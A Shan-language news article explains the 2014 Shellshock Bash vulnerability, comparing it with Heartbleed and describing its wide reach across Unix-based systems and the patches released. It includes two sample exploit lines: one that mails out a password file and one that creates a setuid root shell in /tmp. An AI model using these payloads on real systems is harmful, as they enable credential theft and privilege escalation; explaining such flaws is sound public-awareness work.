Shellshock လွင်ႈၽိတ်ပိူင်ႈပူဝ်ႊၵႅမ်ႊ ဢၼ်လီၵူဝ်လိူဝ် Heartbleed

ပၵ်ႊ (Bug) ဢမ်ႇၼၼ်လွင်ႈၽိတ်းပိူင်ႈပူဝ်ႊၵႅမ်ႊၶွမ်း ဢၼ်ထူပ်းႁၼ်ၵမ်းလိုၼ်းသုတ်းမိူၼ်ၼင်ႇ Shellshock ၼၼ်ႉ ၸၢင်ႈႁဵတ်းႁႂ်ႈၶွမ်းၼႂ်းလုမ်ႈၾႃႉၵမ်ႈၼမ် ဢမ်ႇမီးလွင်ႈႁူမ်ႇလူမ်ႈၼႆ။

မိူဝ်ႈလိူၼ် ဢေႊၽိူဝ်ႊ ပူၼ်ႉမႃးၼၼ်ႉ မီးၶၢဝ်ႇလိုဝ်းလင်ၵဵဝ်ႇလူၺ်ႈၵၢၼ်ထူပ်းႁၼ် ပၵ်ႊၸိုဝ်ႈဝႃႈ Heartbleed   ဢၼ်ႁဵတ်းႁႂ်ႈလွင်ႈႁူမ်ႇလူမ်ႈၼိူဝ် internet သၢၼ်ႇယွၼ်ႈ ယွၼ်ႉမၼ်းၸၢင်ႈ ထုၵ်ႇႁႅၵ်ႊၶိူဝ်ႊ ဢဝ်ၵႂႃႇလၵ်ႉ
ၸိုဝ်ႈလႄႈမၢႆလပ်ႉၼိူဝ် server ၵမ်ႈပႃႈၼမ်လႆႈငၢႆႈငၢႆႈ ၼႆယူႇ။ လၢမ်းၶၢတ်ႈဝႃႈ ပၵ်ႊၼႆႉ ႁဵတ်းႁႂ်ႈ server ၶွမ်းၼႂ်း လုမ်ႈၾႃႉဢမ်ႇယွမ်း 500,000 မီးလွင်ႈတုမ်ႉတိူဝ်ႉၼႆလႄႈ ႁဵတ်းႁႂ်ႈၶွမ်ႊပႃႊၼီႊၽၢႆႇဢၢႆႇထီႇလူင်တင်းၼမ် မိၼ် ၼင်ႇ Google ၊ Facebook ၊ လႄႈ Yahoo ဢွၵ်ႇမႃးၾၢင်ႉႁႂ်ႈၽူႈၸႂ်ႉၶွမ်းၶဝ်ႁိပ်ႈလၢႆႈမၢႆလပ်ႉႁင်းၽ်ႂမၼ်းၼႆယူႇ။

ထိုင်မႃးဝၼ်းထိ 25/09/14 ပူၼ်ႉမႃးၼႆႉ ၸုမ်းၽၢႆႇႁူမ်ႇလူမ်ႈၶေႃႈမုၼ်း Red Hat ဢွၵ်ႇမႃးပိုၼ်ၽၢဝ်ႇၵၢၼ်ထူပ်း ႁၼ် ပၵ်ႊတူဝ်မႂ်ႇၸိုဝ်ႈ Shellshock ၼႂ်းပူဝ်ႊၵႅမ်ႊ Bash ၶွင်ၶွမ်းၸိူဝ်းၸႂ်ႉ Unix! Bash ၼႆႉပဵၼ်သုၼ်ၵၢင်ၵၢၼ် ထိင်းသိမ်းလႄႈၸိသင်ႇလွင်ႈႁဵတ်းၵၢၼ်ၶွမ်းၸိူဝ်းၸႂ်ႉ Unix။ ၵွပ်ႈၼၼ်ပၵ်ႊဢၼ်ထူပ်းႁၼ်ၼႂ်း Bash ၼႆႉ ႁႅၵ်ႊ ၶိူဝ်ႊၶဝ်ၸၢင်ႈတႅမ်ႈ script လၢႆထႅဝ်ၵူၺ်းသေ ၶဝ်ႈထိုင်လႆႈၶေႃႈမုၼ်းလပ်ႉၼႂ်းၶွမ်းၵူၺ်းဢမ်ႇၵႃး ၽူႈဢၼ်တႅမ်ႈ script ၼႆႉယင်းၸၢင်ႈသင်ႇၵၢၼ် ဢမ်ႇၼၼ်ထိင်းသိမ်းၶွမ်းလုၵ်ႈၼၼ်ႉတင်းသဵင်ႈလႆႈ ၼႆယူႇ။

[I]တူဝ်ယၢင်ႇ Script တႃႇတႅမ်ႈၼႂ်း Bash[/I]
 # theft of data() { :; }; mail -s "Your files"  | cat ~/.secret/passwd# setuid shell() { :; }; cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash
လွင်ႈတၢင်းဢၼ်လီမႆႈၸႂ်လိူဝ်ၼၼ်ႉ ပဵၼ်ယွၼ်ႉ OS ၶွမ်းလႄႈၶိူင်ႈၸၢင်ႈၾႆးၽႃႉဢၼ်မီးယူႇၼႂ်းလုမ်ႈၾႃႉ ယၢမ်း လဵဝ်မွၵ်ႈ 70% ၼၼ်ႉ လုၵ်ႉတီႈ OS Unix သေတႅမ်ႈမႃးလွၼ်ႉလွၼ်ႉ။ ပိူင်တႅၵ်ႈမၼ်းမိူၼ်ၼင်ႇ Linux ၊ OSX၊ လႄႈ Android ၼၼ်ႉပဵၼ် Unix တင်းသဵင်ႈၼႆယူႇ။ ၼႆႉပွင်ႇဝႃႈ ဢမ်ႇၸႂ်ႈၶွမ်းဢမ်ႇၼၼ် server ၵူၺ်းဢၼ် မီးလွင်ႈတုမ်ႉတိူဝ်ႉ routher ဢၼ်ၽူႈဢၢၼ်ႇၶဝ်ၸႂ်ႉတႃႇတေႃႇၼဵတ်ႇ၊ ၶိူင်ႈၸၢင်ႈဢၼ်ထိင်းသိမ်းၾႆးၾႃႉၼႂ်းမိူင်း၊ လႄႈ OS ဢၼ်ၸႂ်ႉၼႂ်းၵၢၼ်သိုၵ်းၸၵႂႃႇၸိူဝ်းၼၼ်ႉ လႆႈႁပ်ႉလွင်ႈတုမ်ႉတိူဝ်ႉတင်းသဵင်ႈၼႆယူႇ။ ပဵၼ်ႁိုဝ်ၵေႃႈယဝ်ႉ ဝႆးသေထူပ်းႁၼ်ပၵ်ႊတူဝ်မႂ်ႇၼႆႉယဝ်ႉ ၶွမ်ႊပႃႊၼီႊၽၢႆႇဢၢႆထီႇလၢႆလၢႆၸုမ်းမိူၼ်ၼင်ႇ Red Hat လႄႈ Fedora ႁိပ်ႈပွႆႇ Patch ၵႄႈလိတ်ႈလွင်ႈၽိတ်းပိူင်ႈၼႆႉယဝ်ႉ။